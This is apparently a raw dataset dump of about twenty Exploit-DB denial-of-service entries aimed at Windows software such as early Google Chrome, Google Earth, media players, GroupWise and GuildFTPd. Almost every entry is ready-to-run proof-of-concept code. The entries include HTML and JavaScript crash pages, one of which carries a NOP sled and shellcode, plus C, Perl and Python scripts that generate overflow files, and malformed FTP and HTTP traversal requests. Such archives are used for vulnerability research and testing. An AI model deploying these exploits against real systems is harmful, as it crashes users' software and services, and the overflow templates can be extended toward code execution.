deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6353
Description: Google Chrome 0.2.149.27 - Denial of Service
Type: dos
Platform: windows
Date: 2008-09-03
Author: Rishi Narang

Exploit:
---------------------------------------------------
Software:
Google Chrome Browser 0.2.149.27

Tested:
Windows XP Professional SP3

Result:
Google Chrome Crashes with All Tabs

Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 
0.2.149.27. A crash can result without user interaction. When a user is made to visit 
a malicious link, which has an undefined handler followed by a 'special' character, 
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. 
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the 
EIP register at 0x01002FF4.

Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php

Credit:
Rishi Narang (psy.echo)
www.greyhat.in
www.evilfingers.com
---------------------------------------------------

PoC Working/Exploit:
Click for a demo &lt;a href="EVIL:%"&gt;HERE&lt;/a&gt;

# milw0rm.com [2008-09-03]
Exploit-DB #6609
Description: Google Chrome 0.2.149.30 - Window Object Suppressing Denial of Service
Type: dos
Platform: windows
Date: 2008-09-28
Author: Aditya K Sood

Exploit:
Google Chrome Window Object Suppressing Remote Denial of Service.

*Version Affected:*
Chrome/0.2.149.30
Chrome/0.2.149.29
Chrome/0.2.149.27

*Severity:*
High

*Description:*
The Google chrome browser is vulnerable to window object based denial of
service
attack. The Google Chrome fails to sanitize a check when window.close()
function is
called in body upload. The function is called in a suppressed manner and
kills the
parent window directly by default which makes it vulnerable to denial of
service attack.
This inability of Google Chrome diversifies the attack pattern as number
of events can
execute this  function without a security check,prompting a user to
allow the event to trigger.

This security issue is a result of design flaw in the browser as
function show
stringent behavior in many cases. .Scripts must not close windows that were
 not opened by script,if script specific code is designed. There must
be a parent
window confirmation check prior to close of window.

*POC:
http://www.secniche.org/gws/poc.html
*
/NOTE: If this page is opened in Google Chrome , You need to open this
POC in
new window to see the killing of parent window. You can even use a Sub
Tab in this.
/
*Links:*
http://www.seniche.org/advisory.html
http://www.evilfingers.com/advisory/

*Detection:*
SecNiche confirmed this vulnerability affects Google Chrome on
Microsoft Windows XP SP2 platform.The versions tested are:

Chrome/0.2.149.30
Chrome/0.2.149.29
Chrome/0.2.149.27

*Disclosure Timeline:*
Disclosed: 25 September 2008
Release Date. September 27 ,2008

*Vendor Response:*
Google acknowledges this vulnerability as security bug
and "fix" will be released soon.

*Credit:*
Aditya K Sood

*10. Disclaimer*
The information in the advisory is believed to be accurate at the time
of publishing
based on currently available information. Use of the information
constitutes acceptance
for use in an AS IS condition. There is no representation or warranties,
either express or
implied by or with respect to anything in this document, and shall not
be liable for any
implied warranties of merchantability or fitness for a particular
purpose or for
any indirect special or consequential damages.

<html>
<head>
<title>Google Chrome Window Object Suppressing Remote Denial of Service.</title>
</head>


<body onLoad="window.close();">
<center>
<b>Note: Design Flaw.Zero Security Check. Script Can Be Used to Kill Parent Window Directly Leading to Denial of Service.</b><br><br>
</center>
</body>
</html>

# milw0rm.com [2008-09-28]
Exploit-DB #8573
Description: Google Chrome 1.0.154.53 - Null Pointer Remote Crash
Type: dos
Platform: windows
Date: 2009-04-30
Author: Aditya K Sood

Exploit:
<html>
<head>
<title>Google Chrome 1.0.154.53 "throw exception" Remote Crash and Denial of Service -  </title>
<script language="JavaScript">
	var nop_sled=unescape("%u9090");
	var shellcode_sled=unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u0065");
	for(var i=0;i<64;i++){
		nop_sled=nop_sled+nop_sled;
		document.write('<script>throw nop_sled+shellcode_sled;</scr'+'ipt>');
	}
</script>
</head>
<body>
<center><h1> Google Chrome 1.0.154.53 "throw exception" Remote Crash and Denial of Service</h1>
<h2> Executing NOP Sled and Shellcode to create an Exception</h2>

<h2> SecNiche Security (C) Aditya K Sood </h2>
</center></body>
</html>

# milw0rm.com [2009-04-30]
Exploit-DB #10879
Description: Google Chrome 3.0195.38 - Status Bar Obfuscation
Type: dos
Platform: windows
Date: 2009-12-31
Author: 599eme Man

Exploit:
<!--
Google Chrome 3.0195.38 Status Bar Obfuscation
Author : 599eme Man
Contact : flouf@live.fr
-->

<center><h1>Google Chrome 3.0195.38 Status Bar Obfuscation</h1>
<br>
<strong>Author : 599eme Man.<br >
Contact : flouf@live.fr</strong><br >
_______________________________________________________________________
<br>
<br>
<br>

Click 1?) and the 2?) (look the Status bar for the 2?)) and you'll be redirect on Yahoo<br><strong><h1><a href="javascript:window.open(self.location);">1?) Open a new Window</a><br ><a href="http://google.com" onclick="javascript:OB();">2?) http://www.Google.com</a></h1></strong></center>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
                           <font style="font-family:arial;font-size:32px">Look Here<br>
                   | <br>
                  V

<script>

function OB() {

document.write('');
window.close();
window.open('http://yahoo.com');

}

</script>
Exploit-DB #11639
Description: Google Chrome 4.0.249 - XML Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-03-06
Author: Blade

Exploit:
# Exploit Title: Google Chrome 4.0.249 XML PoC
# Date: 3/6/2009
# Author: Blade
# Software Link: www.google.com
# Version: 4.0.249.89
# Tested on: Attached
# CVE :
# Code :

Stack Overflow caused by long malformed string inside XML Tags

Tested on Windows 7 64bit
Chrome will through up the "Aw, Snap!"

Know your enemy

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11639.zip
Exploit-DB #12477
Description: Google Chrome 4.1.249.1064 - Remote Memory Corrupt
Type: dos
Platform: windows
Date: 2010-05-01
Author: eidelweiss

Exploit:
<!--
Google Chrome 4.1.249.1064 Remote Memory Corrupt (Local Crash Exploit)

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Save this script with extension .html or .htm
Then open with Google Chrome web browser

THIS FOR EDUCATIONAL PURPOSE ONLY
AUTHOR WILL NOT RESPONSIBLE FOR ANY DAMAGE

Webpage display issues: "Aw, Snap!"
Issue: You may see the "Aw, Snap!" message if a webpage crashes unexpectedly.

Tested on WINXP (sp2 - sp3) - WIN 7
Affected: 	Google Chrome version 4.1.249.1064 and Prior

Author : eidelweiss
Contact : eidelweiss[at]cyberservices[dot]com OR g1xsystem[at]windowslive.com
Greets: [D]eal [c]yber and All Indonesian Hacker`s
 
-->
 
<body onload="javascript:DoS();"></body>
 
<script>
 
function DoS() {
 
var buffer = '\x41';
for (i =0;i<666;i++) {
buffer+=buffer+'\x41';
document.write('<html><marquee><h1>'+buffer+buffer);
}
 
}
 
</script>
Exploit-DB #16012
Description: Google Chrome 8.0.552.237 - address Overflow Denial of Service
Type: dos
Platform: windows
Date: 2011-01-18
Author: Vuk Ivanovic

Exploit:
<html>
<head>


# Title: Google Chrome v8.0.552.237 address overflow DoS

# CVE-ID: ()

# OSVDB-ID: ()

# Author: Vuk Ivanovic

# Published: 2011-01-17

# Verified: yes
 

# Google Chrome v8.0.552.237 address overflow DoS


#
# Tested on: Windows XP, SP2 (EN), Windows 7 x64

#
# Date tested: 01/16/2011
#
#
# 

# Discovered by: Vuk Ivanovic(musashi42)
# 
## 

<script type="text/javascript">

function mul3 (str, num) {
	if (!num) return "";
	var	orig = str,
		soFar = [str],
		added = 1,
		left, i;
	while (added < num) {
		left = num - added;
		str = orig;
		for (i = 2; i < left; i *= 2) {
			str += str;
		}
		soFar.push(str);
		added += (i / 2);
	}
	return soFar.join("");

}

var junka = "a";

var junk = mul3(junka,2097033);


window.location.href = "http://" + junk;


</script>
</head>

<body>

</body>
</html>
Exploit-DB #28785
Description: Google Earth 4.0.2091 (Beta) - '.KML'/'.KMZ' Buffer Overflow
Type: dos
Platform: windows
Date: 2006-09-14
Author: JAAScois

Exploit:
// source: https://www.securityfocus.com/bid/20464/info

Google Earth is prone to a buffer-overflow vulnerability because the application to properly verify the size of user-supplied data before copying it into an insufficiently sized process buffer.

This issue allows remote attackers to execute arbitrary machine code in the context of the user running the affected application. Failed exploit attempts will likely crash applications, denying service to legitimate users.

Google Earth version v4.0.2091(beta) is vulnerable to this issue.

///////////////////////////////////////////////
// Google Earth (kml & kmz files) buffer overflow
// by JAAScois [ http://www.jaascois.com ]
// Test on: Google Earth v4.0.2091(beta) Sep 14 2006
///////////////////////////////////////////////
#include <stdio.h>
#include <string.h>
char xmlHdr[]="<?xml version=\'1.0\' encoding=\'UTF-8\'?>\n<kml
xmlns=\'http://earth.google.com/kml/2.1\'>\n<Placemark><name>By:
JAAScois.com</name><Model><Link><href>";
char xmlHdr2[]="</href></Link></Model></Placemark></kml>";
int main(int argc, char* argv[])
{
FILE *Gkml;
FILE *GkmlX;
int i;
unsigned char nop;
printf("Google Earth (kml & kmz files) buffer overflow \n");
printf(" by JAAScois [ http://www.jaascois.com ]\n");

// Gkml.kml
Gkml=fopen("Gkml.kml","w+b");
if(Gkml==NULL){
printf("-Error: fopen \n");
return 0;
}

fwrite(xmlHdr,strlen(xmlHdr),1,Gkml);
nop=0x90;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,Gkml);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,Gkml);
fclose (Gkml);

// GkmlX.kml
GkmlX=fopen("GkmlX.kml","w+b");
if(GkmlX==NULL){
printf("-Error: fopen \n");
return 0;
}

fwrite(xmlHdr,strlen(xmlHdr),1,GkmlX);
nop=0x41;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,GkmlX);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,GkmlX);
fclose (GkmlX);

printf("- Created file: Gkml.kml ...OK\n");
return 0;
}
Exploit-DB #21712
Description: Google Toolbar 1.1.60 - Search Function Denial of Service
Type: dos
Platform: windows
Date: 2002-08-15
Author: onet

Exploit:
source: https://www.securityfocus.com/bid/5477/info

Reportedly, when the Google Toolbar receives a search query it may cause Microsoft Internet Explorer to crash. When a user views a malicious web page it will cause the Google Toolbar to throw an exception in 'oleaut32.dll'.

<object
id=GOOGLE
classid="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB"
width=1
height=1
>
</object>

<script language="JavaScript">
// it raises the exception in oleaut32.dll
GOOGLE.Search("Miaow, miaow :)")
</script>
Exploit-DB #23130
Description: Gordano Messaging Suite 9.0 - 'WWW.exe' Denial of Service
Type: dos
Platform: windows
Date: 2003-09-10
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8576/info

It has been reported that Gordano Messaging Suite may be prone to a denial of service issue allowing a remote attacker to send malformed HTTP GET requests to cause the WWW.exe process to crash.

The problme may lead to the termination of services such as Administration, WebMail Professional, WebMail Express, WebMail Mobile, Instant Messaging, and Web Server services, which are provided by the WWW.exe process.

It should be noted that only the WWW.exe process on a Windows system will crash under this condition, on Linux the connection will simply hang without timing out. 

~$ telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1
Escape character is '^]'.
GET /../.. HTTP/1.0
Exploit-DB #8084
Description: Got All Media 7.0.0.3 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-02-20
Author: LiquidWorm

Exploit:
#!/usr/local/bin/perl
#
# Title: Got All Media 7.0.0.3 Remote Denial Of Service Exploit
# Product web page: http://www.gallm.com/default.aspx
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm [t00t] gmail [w00t] com
# http://www.zeroscience.org
# 19.02.2009
#

print "\n[*] t00ting...\n";

use LWP::Simple;

my $url = 'http://127.0.0.1:5550/t00t';
my $freeze = get $url;
die "Couldn't get $url" unless defined $freeze;

# milw0rm.com [2009-02-20]
Exploit-DB #18339
Description: GPSMapEdit 1.1.73.2 - '.lst' Local Denial of Service
Type: dos
Platform: windows
Date: 2012-01-09
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: GPSMapEdit v1.1.73.2 (.lst) Local Denial of Service Vulnerability
# Version:       1.1.73.2
# Date:          2012-01-08
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.geopainting.com
# Tested on:     Windows XP SP3 Professional German / Windows 7 Professional 64bit German
 
file="GPSMapEdit_crash.lst"
junk="\x41"*512

print "[*] Creating crash file...\n";
writeFile = open (file, "w")
writeFile.write(junk)
writeFile.close()
print "[*] File successfully created!\n\n";
Exploit-DB #33533
Description: Gracenote CDDBControl - ActiveX Control 'ViewProfile' Method Heap Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-18
Author: karak0rsan

Exploit:
source: https://www.securityfocus.com/bid/37834/info


Gracenote CDDBControl is prone to a stack-based buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

NOTE: The ActiveX control is included in AOL 9.5; other applications may also include the ActiveX control. 

<package> <job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' /> <script language='vbscript'> arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") target.ViewProfile arg1 </script> </job> </package>
Exploit-DB #28049
Description: GreenBrowser 6.4.0515 - Heap Overflow
Type: dos
Platform: windows
Date: 2013-09-03
Author: Asesino04

Exploit:
# Exploit Title: Green Browser 6.4.0515 Heap Overflow
# Date: 31-08-2013
# Exploit Author: The Black Devils "Asesino04"
# Vendor Homepage: http://www.morequick.com/indexen.htm
# Version: 6.4.0515
# Tested on: [ Windows XP SP2]



<html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >  </col>
 </table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 </script>
 </body>
 </html>
 
 # Contact :
#------------------
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email : mr.k4rizma@gmail.com
Exploit-DB #8225
Description: Gretech GOM Encoder 1.0.0.11 - '.Subtitle' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-03-16
Author: Encrypt3d.M!nd

Exploit:
#exploit.py
#
# Gom Encoder (Subtitle File) Buffer Overflow PoC
# by :Encrypt3d.M!nd
#
#  Orignal Advisory:
#  https://www.securityfocus.com/bid/34120
#

chars = 'A' * 1000000

file = open ( 'devil_inside.srt', 'w' )
file.write ('1\n00:00:00,001 --> 00:00:06,000\n'+chars)
file.close()

# milw0rm.com [2009-03-16]
Exploit-DB #8485
Description: Groovy Media Player 1.1.0 - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-20
Author: GoLd_M

Exploit:
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
# #  Groovy Media Player Version 1.1.0 (.M3U File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ### ## ##
my $chars= "A" x 4104;
my $file="goldm.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-20]
Exploit-DB #9381
Description: Groovy Media Player 1.2.0 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-06
Author: opt!x hacker

Exploit:
#!/usr/bin/python
print "Groovy Media Player 1.2.0 (.m3u) local stack overlow POC"
print " finded by : opt!x hacker <optix@9.cn> "
print "download: http://www.bestwebsharing.com/downloads/groovy-media-player-setup.exe "
junk = "\x41"*213
file=open("crash.m3u","w")
file.write(junk)
file.close()

# milw0rm.com [2009-08-06]
Exploit-DB #17718
Description: Groovy Media Player 2.6.0 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2011-08-26
Author: D3r K0n!G

Exploit:
#!/usr/bin/perl
#####################################################################################
# Exploit Title: Groovy Media Player Version 2.6.0 (.m3u) Local Buffer Overflow PoC
# Date: 26/08/2011
# Author: D3r K0n!G
# Software Link: http://www.bestwebsharing.com/groovy-media-player                  
# Category: Local Buffer Overflow PoC
# Version: 2.6.0
# Tested on: Windows XP SP3
# CVE: N/A
#####################################################################################
#####################################################################################
#!/bin/usr/ZL4b!4
#####################################################################################
my $file = "groovymp.m3u";
my $junk = "\x41" x 223;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.m3u file created successfully\n";
close($FILE);
Exploit-DB #5515
Description: Groupwise 7.0 - 'mailto: scheme' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-28
Author: Juan Yacubian

Exploit:
PRODUCT: GroupWise 7.0
OS: Windows Xp

The scheme "mailto" is vulnerable if one takes as default mail client to 
GroupWise, the fault is to implement the scheme followed by an extensive 
argument and this causes the buffer overflow. This brings the consequence that 
can overwrite the EIP and is able to execute arbitrary code. The result with a 
debbuger us what reveals. 

Access violation when executing [41414141] 

What power is that vulnerability to attach a html file which is included in an 
iframe with the scheme badly formed runs only watch.

proof of concept

#!/usr/bin/python

a = "<iframe src='mailto:"
a += "A" * 1530
a += "\x61\x61\x61\x61"
a += "' width='320' height='300' scrolling='yes' name='content'></iframe>"

file = open("test.html", "w")
file.write(a)
file.close()

greetings!

Juan Pablo Lopez Yacubian

# milw0rm.com [2008-04-28]
Exploit-DB #47026
Description: GSearch 1.0.1.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-06-24
Author: 0xB9

Exploit:
# Exploit Title: GSearch v1.0.1.0 - Denial of Service (PoC)
# Date: 6/23/2019
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NDTMZKLC693
# Version: 1.0.1.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the search bar and click search
# Click any link and app will crash


buffer = "A" * 2000
payload = buffer
try:
    f = open("PoC.txt", "w")
    print("[+] Creating payload..")
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created")
Exploit-DB #47942
Description: GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-17
Author: Ismail Tasdelen

Exploit:
# Exploit Title: GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)
# Exploit Author: Ismail Tasdelen
# Exploit Date: 2020-01-16
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/gpwdfinder_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install GTalk Password Finder
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.GTalk Password Finder Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #22790
Description: GuildFTPd 0.999.8 - 'CWD' Denial of Service
Type: dos
Platform: windows
Date: 2003-05-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/7951/info

A denial of service condition exists in GuildFTPD that may allow a remote user to deny service to legitimate GuildFTPD users.

The denial of service occurs when the server receives several successive malformed CWD commands from an authenticated client.

CWD ..%c0%af....%c0%af....%c0%af....%c0%af....%c0%af....%c0%af..
CWD
\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..\..%c0%af..CWD /..%c0%af../..%c0%af../